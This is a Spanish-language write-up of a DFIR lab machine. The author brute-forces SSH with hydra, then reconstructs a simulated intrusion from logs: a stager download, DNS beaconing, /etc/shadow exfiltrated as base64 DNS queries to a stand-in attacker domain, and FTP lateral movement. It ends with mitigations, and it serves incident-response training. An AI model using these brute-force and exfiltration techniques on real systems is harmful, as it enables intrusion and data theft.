‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/el-topo.md

El Topo DNS

dfirdns-tunnelingforense

El Topo DNS

User obtenido (auditor), sin escalada a root — máquina de tipo DFIR/Blue Team.

Máquina: The Hackers Labs — El Topo DNS SO: Debian 12 (Bookworm), kernel 6.1.0-26-amd64 (6.1.112-1, compilado 2024-09-30) Vector de entrada: Fuerza bruta dirigida contra SSH (credencial débil auditor:auditor), usando wordlists ya presentes en el propio escenario del laboratorio Escalada de privilegios: No aplica. Se evaluó CVE-2024-1086 (privesc universal en nf_tables) pero el kernel de esta VM ya está parcheado. El objetivo real de la máquina es un análisis forense (DFIR) de un incidente ya registrado en logs accesibles como usuario auditor. Herramientas principales: nmap (descubrimiento de puertos/servicios), curl (peticiones HTTP manuales), ffuf/gobuster (fuzzing web, ya ejecutados en fases previas), hydra (fuerza bruta SSH), sshpass+ssh (acceso remoto no interactivo), base64 (decodificación de datos exfiltrados por DNS)

Resumen de acceso obtenido

Ítem Valor Obtenido en
Usuario inicial ████████████ Fase 2
user.txt / root.txt No existen en esta máquina Fase 4 (verificado, no encontrados)
Objetivo real de la máquina Responder correctamente el cuestionario forense sobre el incidente en dfir_eltopo/ Fase 3

Cuestionario forense (DFIR) — resultado final

# Pregunta Respuesta Evidencia
1 IP externa que sirvió el stager p.sh ████████████ access.log
2 Fichero PHP de entrada más probable ████████████ access.log
3 FQDN de la primera consulta de beaconing C2 ████████████ dns.log
4 Dominio (sin subdominios de datos) usado para exfiltrar el shadow ████████████ dns.log
5 Protocolo usado para pivotar a 10.0.0.50 ████████████ ftp.log
6 Usuario de autenticación en el servidor interno ████████████ ftp.log
7 Contraseña del movimiento lateral exitoso ████████████ ftp.log
8 Fichero exacto robado del servidor interno ████████████ ftp.log

Glosario rápido

Herramientas necesarias

Fase 0 — Preparación del laboratorio

Se descargó el .ova oficial de TheHackersLabs (comprimido en un .zip) y se dejó en la carpeta del proyecto.

unzip "The Hackers Labs - El Topo DNS.zip"
VBoxManage import "The Hackers Labs - El Topo DNS.ova" --dry-run

--dry-run muestra qué se importaría sin crear nada todavía. Esta máquina es más grande que las anteriores del laboratorio: 4 CPUs, 4096 MB de RAM (Banco y RockstarS usaban 1 CPU/2048 MB) — el nombre (“El Topo DNS”) y el tamaño sugieren que probablemente corre más de un servicio (quizás un servidor DNS de verdad, más pesado que un simple Apache+PHP). La tarjeta de red también venía en modo Bridged por defecto (igual que RockstarS); se fuerza a host-only, consistente con el resto del laboratorio:

VBoxManage import "The Hackers Labs - El Topo DNS.ova"
VBoxManage modifyvm "The Hackers Labs - El Topo DNS" --nic1 hostonly --hostonlyadapter1 vboxnet0
VBoxManage startvm "The Hackers Labs - El Topo DNS" --type headless

Para reproducir desde cero, con la VM apagada:

VBoxManage controlvm "The Hackers Labs - El Topo DNS" poweroff
VBoxManage startvm "The Hackers Labs - El Topo DNS" --type headless

Al arrancar, la consola de la VM (capturada en loot/console.png) confirma el objetivo:

[+] Creador: Oscar
[+] Nombre: El Topo DNS
[+] IP: 192.168.56.105
debian login: _

Fase 1 — Reconocimiento de red

1.1 Escaneo TCP completo

nmap -sC -sV -p- --min-rate 2000 -oN loot/nmap-tcp-full.txt 192.168.56.105

Resultado: solo dos puertos abiertos.

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works

1.2 Escaneo UDP (por el nombre “DNS” de la máquina)

Dado que la máquina se llama “El Topo DNS”, la sospecha inicial es que corriera un servidor DNS real (puerto 53/UDP). Se comprueba:

sudo nmap -sU --top-ports 30 -T4 192.168.56.105 -oN loot/nmap-udp-top30.txt

Resultado clave: 53/udp aparece como closed — no hay ningún servidor DNS real escuchando. El resto de puertos salen como open|filtered, que en UDP casi siempre es ruido (nmap no puede distinguir “abierto” de “filtrado” cuando no llega respuesta). Conclusión: el nombre “DNS” es temático del incidente que hay que investigar (spoiler: la exfiltración de la Fase 3 va por DNS), no de un servicio real corriendo aquí.

1.3 Descubrimiento de vhosts (dead end, pero hay que descartarlo)

El log forense que se analiza más adelante menciona páginas como contact.php, about.html, upload.php que no existen en la web por defecto de Apache. La hipótesis era que vivieran en un vhost (nombre de dominio) distinto sobre la misma IP. Ya se había probado con un diccionario grande:

ffuf -u http://192.168.56.105/ -H "Host: FUZZ.thl" \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -fs 10701 -o loot/ffuf-vhost.json

Resultado: "results": [], ningún vhost. Para confirmarlo a mano, se probaron nombres temáticos directamente:

curl -s -o /dev/null -w "%{http_code} %{size_download}" -H "Host: eltopo.thl" http://192.168.56.105/

Repitiendo esto con www.eltopo.thl, admin.mindkeep.thl, mole.thl, etc., todos devuelven 200 y exactamente el mismo tamaño (10701) que la petición sin cabecera Host: — es decir, Apache no tiene vhosts distintos configurados, todo cae a la misma página por defecto. El fuzzing de vhosts no estaba mal ejecutado: simplemente no hay nada ahí. La web pública no es el vector de entrada de esta máquina.

Fase 2 — Vector de acceso inicial: fuerza bruta SSH

Con solo 22/tcp y 80/tcp abiertos, y 80/tcp completamente vacío, el único servicio atacable es SSH. En el propio material de la máquina (carpeta loot/) ya había tres ficheros que parecían diseñados para esto:

Esto es la misma lógica que ya funcionó en la máquina RockstarS de este mismo laboratorio: cuando la superficie de ataque es mínima y el propio escenario deja pistas de nombres/temas, el vector es un diccionario dirigido (no un rockyou.txt genérico de 14 millones de líneas).

cat loot/custom_wordlist.txt loot/theme_words.txt loot/root_candidates.txt | sort -u > eltopo_passwords.txt
hydra -L loot/root_candidates.txt -P eltopo_passwords.txt -t 4 -f ssh://192.168.56.105

Resultado, en menos de 2 minutos (833 combinaciones en total):

[22][ssh] host: 192.168.56.105   login: auditor   password: auditor

Confirmación del acceso:

sshpass -p 'auditor' ssh [email protected] "id; hostname; ls -la"
uid=1001(auditor) gid=1001(auditor) grupos=1001(auditor),100(users)
debian
drwxr-xr-x 2 root root 4096 nov 10 2025 dfir_eltopo

El propio usuario auditor (nombre revelador: es la cuenta pensada para que un analista SOC investigue el incidente) tiene en su home una carpeta dfir_eltopo, propiedad de root pero legible por cualquiera (rwxr-xr-x). Ahí está el verdadero reto de la máquina.

Fase 3 — Análisis forense (correlación de logs)

Dentro de dfir_eltopo/ hay 4 ficheros que documentan, de principio a fin, un incidente de seguridad ya ocurrido:

ls -la /home/auditor/dfir_eltopo/
# access.log   (405.097 bytes) — logs HTTP del servidor web público
# dns.log      (78.000 bytes)  — logs de resolución DNS del servidor web
# ftp.log      (638 bytes)     — logs de la sesión FTP hacia la red interna
# etc_shadow_artifact.txt      — el fragmento de /etc/shadow que se robó

El objetivo no es “conseguir una flag” con formato HTL{...}, sino reconstruir la cadena de ataque completa leyendo estos logs, como haría un analista de un SOC (Security Operations Center) durante una respuesta a incidentes real.

3.1 — Punto de entrada web y stager

grep -oP '"\K(GET|POST|PUT|HEAD)[^"]+' access.log | awk '{print $1,$2}' | sort | uniq -c | sort -rn

Este comando extrae el método y la ruta de cada petición HTTP y cuenta cuántas veces se repite cada una. El log tiene más de 5.000 líneas, pero el 99% es tráfico normal de visitantes (GET /index.html, GET /about.html, GET /contact.php, GET /images/logo.png, repetido cientos de veces desde IPs 10.1.1.x, que es ruido de fondo simulado). Filtrando ese ruido quedan solo dos líneas anómalas:

1 POST /upload.php
1 GET http://162.248.1.100/p.sh

Mirando el log en orden, ambas ocurren en el mismo segundo (09:10:13) y una justo detrás de la otra:

1.2.3.4     - - [10/nov/2025:09:10:13 +0100] "POST /upload.php HTTP/1.1" 200 150
192.168.1.10 - - [10/nov/2025:09:10:13 +0100] "GET http://162.248.1.100/p.sh HTTP/1.1" 200 1024

Lectura: 1.2.3.4 (IP externa, del propio atacante) manda un POST a /upload.php — el único endpoint de subida de ficheros del sitio, y por tanto el punto de entrada más probable (subir un fichero malicioso, típico de una vulnerabilidad de unrestricted file upload). Inmediatamente después, es el propio servidor web comprometido (192.168.1.10) el que sale a buscar p.sh a una IP externa distinta (162.248.1.100) — ese es el stager: un script que, una vez ejecutado el webshell subido por upload.php, descarga la siguiente etapa del ataque.

3.2 — Beaconing de C2

grep -oP 'Query: A\? \K\S+' dns.log | sort -u

Entre el ruido de dominios legítimos (www.google.com, www.github.com, www.microsoft.com, www.updates.ubuntu.com, www.cdn.example.com — tráfico normal de cualquier servidor Linux comprobando actualizaciones, etc.) aparecen tres consultas fuera de lugar:

1.beacon.c2.eltopo.thl
2.beacon.c2.eltopo.thl
3.beacon.c2.eltopo.thl

El patrón N.beacon.c2.<dominio> es característico de un malware que “late” contra su C2 subiendo un contador o ID en el propio subdominio (así el operador ve, solo con los logs DNS, cuántas veces ha llamado la máquina infectada). Comprobando el orden de aparición en el fichero (grep -n):

65:  ... Query: A? 1.beacon.c2.eltopo.thl
623: ... Query: A? 2.beacon.c2.eltopo.thl
690: ... Query: A? 3.beacon.c2.eltopo.thl

Pregunta 3 → primera consulta de beaconing: 1.beacon.c2.eltopo.thl

3.3 — Exfiltración de /etc/shadow vía túnel DNS

En esa misma lista de dominios únicos aparecen 5 subdominios muy largos y sin sentido aparente, todos terminados en .data.eltopo.thl:

OTk5Ojc6OjoK.data.eltopo.thl
Oio6MTgwMDA6MDo5OTk5OTo3Ojo6CmRhZW1vbjoqOjE4MDAwOjA6OTk5OTk6.data.eltopo.thl
Nzo6OgpkZXZ1c2VyOiQ2JHJvdW5kcz02NTYwMDAkYWJjZGVmZyRoaWprbG1u.data.eltopo.thl
cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu.data.eltopo.thl
b3AuLi46MTgwMDE6MDo5OTk5OTo3Ojo6CmZ0cHVzZXI6KjoxODAwMTowOjk5.data.eltopo.thl

Esto es DNS tunneling de manual: cada subdominio, antes de .data.eltopo.thl, es un trozo de datos codificado en Base64. Al no caber un fichero entero en un solo nombre de dominio (máximo 63 caracteres por etiqueta), el atacante lo corta en fragmentos y hace una consulta DNS por cada uno; el servidor DNS que controla (eltopo.thl) simplemente registra qué le preguntaron, sin necesidad de responder nada útil.

Decodificando cada trozo:

echo "cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu" | base64 -d
# root:$6$salty$T.UVs...:18000:0:99999:7:::
# bin

Y reensamblando los 5 trozos en el orden correcto (por contenido, ya que en el log DNS están mezclados entre el ruido de dominios legítimos y no van seguidos):

root:$6$salty$T.UVs...:18000:0:99999:7:::
bin:*:18000:0:99999:7:::
daemon:*:18000:0:99999:7:::
devuser:$6$rounds=656000$abcdefg$hijklmnop...:18001:0:99999:7:::
ftpuser:*:18001:0:99999:7:::

Esto coincide exactamente con el fichero etc_shadow_artifact.txt que ya estaba en dfir_eltopo/ — confirma que el fichero exfiltrado es /etc/shadow (la base de datos de contraseñas del sistema), sacado entero por consultas DNS.

Pregunta 4 → dominio raíz usado para exfiltrar (sin los subdominios de datos variables): eltopo.thl — el canal completo es <blob_base64>.data.eltopo.thl, pero el dominio que realmente controla el atacante (el mismo que usa para el beaconing en c2.eltopo.thl) es eltopo.thl.

3.4 — Movimiento lateral por FTP

cat ftp.log
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP 220 (vsFTPd 3.0.3)
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP USER devuser
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 331 Please specify the password.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP PASS developer123
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 230 Login successful.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP LIST
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Directory send OK.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP GET client_database_backup.zip
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 150 Opening BINARY mode data connection.
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Transfer complete.

Este log, en texto plano, cierra el círculo: el atacante crackeó offline el hash de devuser robado en el paso anterior (su contraseña real, developer123, coincide exactamente con una entrada de custom_wordlist.txt, la misma lista que ya usamos nosotros para el ataque inicial — reutilización de contraseñas también dentro del propio escenario). Con esa credencial válida entró por FTP (protocolo sin cifrar, se ve todo en claro: usuario, contraseña y nombre de fichero) al servidor interno 10.0.0.50 y descargó client_database_backup.zip.

Fase 4 — Intento de escalada de privilegios (descartado, documentado igual)

En loot/ ya había un repositorio clonado del PoC público de CVE-2024-1086, una escalada de privilegios universal en el subsistema nf_tables del kernel de Linux (un bug de tipo use-after-free, ver glosario) que funciona en kernels v5.14–v6.6. Antes de compilarlo y lanzarlo a ciegas, se verifica si aplica:

uname -a
# Linux debian 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64

El propio README.md del exploit dice textualmente que las ramas ya parcheadas son v5.15.149+, v6.1.76+ y v6.6.15+. Nuestro kernel es 6.1.112, muy por encima de 6.1.76 → está parcheado, el exploit no va a funcionar aquí. Se descarta sin perder tiempo compilándolo.

Se comprueban además otras vías habituales de escalada, todas cerradas:

sudo -l                                    # "auditor no puede ejecutar sudo"
ls -la /root                               # Permiso denegado
find / -perm -4000 -type f 2>/dev/null     # solo SUID estándar de Debian (passwd, su, mount...)
grep -vE '/nologin|/false' /etc/passwd     # solo existen root y auditor
find / \( -iname user.txt -o -iname root.txt \) 2>/dev/null   # nada, en todo el disco

Conclusión: esta máquina no tiene una escalada de privilegios “tradicional” a root. Su diseño es el de un reto de DFIR / Blue Team: el acceso como auditor ya da todo lo necesario (los 4 logs) para resolver el incidente por análisis, sin necesitar más privilegios. Se documenta el intento fallido en vez de omitirlo, para que quien repita esta máquina no pierda tiempo compilando el exploit sin comprobar antes la versión del kernel.

Diagrama de la cadena de ataque completa

 Atacante (1.2.3.4)                    Servidor web (192.168.1.10)              Infraestructura del atacante
        |                                        |                                        |
        |--- POST /upload.php (webshell) ------->|                                        |
        |                                        |--- GET p.sh ------------------------->  162.248.1.100 (stager)
        |                                        |--- DNS A? 1/2/3.beacon.c2.eltopo.thl ->  c2.eltopo.thl (beaconing)
        |                                        |--- lee /etc/shadow                    |
        |                                        |--- DNS A? <b64>.data.eltopo.thl x5 -->  eltopo.thl (exfil DNS)
        |<---------------- crackea hash de devuser (developer123, misma wordlist) --------|
        |                                        |                                        |
        |                                                   Red interna
        |                                                        |
        |------------------------------- FTP devuser:developer123 -----------------------> 10.0.0.50 (vsFTPd 3.0.3)
        |<------------------------------ GET client_database_backup.zip ------------------|

Causas raíz y mitigación

Paso Causa raíz Mitigación
upload.php Subida de ficheros sin validar tipo/extensión ni bloquear ejecución en el directorio de subida Validar extensión y contenido real (magic bytes), servir uploads desde un directorio sin permiso de ejecución, o desde otro dominio/CDN
Descarga de p.sh El servidor web tiene salida a Internet sin restricciones Filtrado de salida (egress filtering): solo permitir que el servidor web hable con los destinos que necesita (repos de paquetes, APIs concretas), nunca IPs arbitrarias
Beaconing C2 no detectado Sin monitorización de DNS ni de tráfico saliente anómalo Logging y análisis de DNS (volumen de consultas, entropía de subdominios, dominios recién registrados)
Exfiltración por DNS Igual que el anterior: nadie inspecciona qué se resuelve, solo que se resuelva Detección de túneles DNS (subdominios largos/aleatorios, alto volumen de consultas A a un mismo dominio en poco tiempo), DNS sinkholing
Reutilización de contraseña (devuser/developer123) Contraseña débil y predecible, coincide con una wordlist de “palabras temáticas” Política de contraseñas fuertes + gestor de contraseñas, sin reutilizar entre cuentas de dev/producción
FTP en texto plano Protocolo legado que transmite usuario/contraseña sin cifrar Sustituir por SFTP/FTPS, segmentar la red para que el servidor público no tenga ruta directa a servidores internos
Acceso SSH inicial (auditor:auditor) Contraseña igual al usuario, sin política de bloqueo Contraseñas fuertes, fail2ban / bloqueo tras N intentos, preferir autenticación por clave pública

«El misterio de la existencia humana no está en vivir, sino en saber para qué se vive.»
— Fiódor Dostoyevski, Los hermanos Karamázov